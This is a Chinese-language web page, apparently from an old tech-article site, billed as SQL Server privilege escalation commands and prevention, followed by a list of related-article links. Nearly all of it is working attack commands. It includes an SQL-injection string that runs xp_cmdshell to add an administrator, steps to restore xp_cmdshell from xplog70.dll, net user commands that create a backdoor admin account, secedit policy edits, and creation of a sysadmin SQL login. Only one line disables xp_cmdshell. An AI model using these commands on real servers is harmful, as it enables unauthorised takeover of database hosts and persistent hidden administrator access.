上一篇:NetBSD安装手册 >>
SQL Server提升权限相关命令及防范
;exec master..xp_cmdshell "net localgroup administrators name /add"--
程序代码开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:/winnt/system32/xplog70.dll'
堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell"
dos:
dir c:/
dir d:/
dir e:/
net user tsinternetusers password /add
net localgroup administrators tsinternetusers /add
备份恢复ipsec
secedit /export /cfg c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /cfg c:/tmp.inf
sql:
exec master..sp_addlogin username,password
exec master..sp_addsrvrolemember username,sysadmin
()
下一篇:SA空口令入侵到3389终结完整编 >>
相关文章:
- · Linux与Windows系统比较
- · win2003硬盘权限设置
- · 带你认清楚路由器的实际带机数量
- · 妙用Windows神秘的类标识符
- · 精确计算WinXP所需的虚拟内存
- · 辨别Microsoft安全性邮件的真假
- · 幻影论坛跨站脚本漏洞
- · 从IIS到SQL Server数据库安全
- · 常见电脑死机现象及解决办法
- · Serv-u6.0提权新招
- · WebBrowser使用全接触
- · win2k运行进程详解
- · 正则表达式中的特殊字符
- · 在内网里用BT下载断线之迷
- · 利用Win XP自带工具实现远程管理
- · 九大措施安全配置SQLServer协议加密等
- · 加速磁盘碎片整理的六大技巧
- · 巧用Rundll32命令安装和卸载Windows程序
- · 恶意网站修改注册表的解决方法
- · 木马启动方式揭秘
- · 谈谈IP和MAC捆绑的破解之道
- · 如何配置Win XP SP2的防火墙功能
- · Win XP网络及文件安全技巧总结
- · 删除MSSQL危险存储过程的代码
- · 硬盘分区方案大放送
- · 限制 SQL Server指定主机连接
- · SQL Server 提升权限相关命令及防范
- · Windows中提高内存效能的方法
- · Firefox的32个插件介绍
- · Linux与windows文件互传技巧
- · 配置一款漂亮的Win XP系统
- · 突破局域网对上网用户的一些限制
- · 揭露Windows中各种不老实的服务
- · 巧用TT浏览器解除下载限制
- · 防范间谍软件入侵的三个防护措施
- · 修改Windows组策略让系统更强壮
- · 加快mozilla-firefox的启动速度
- · CPU百科全书:完全指标篇
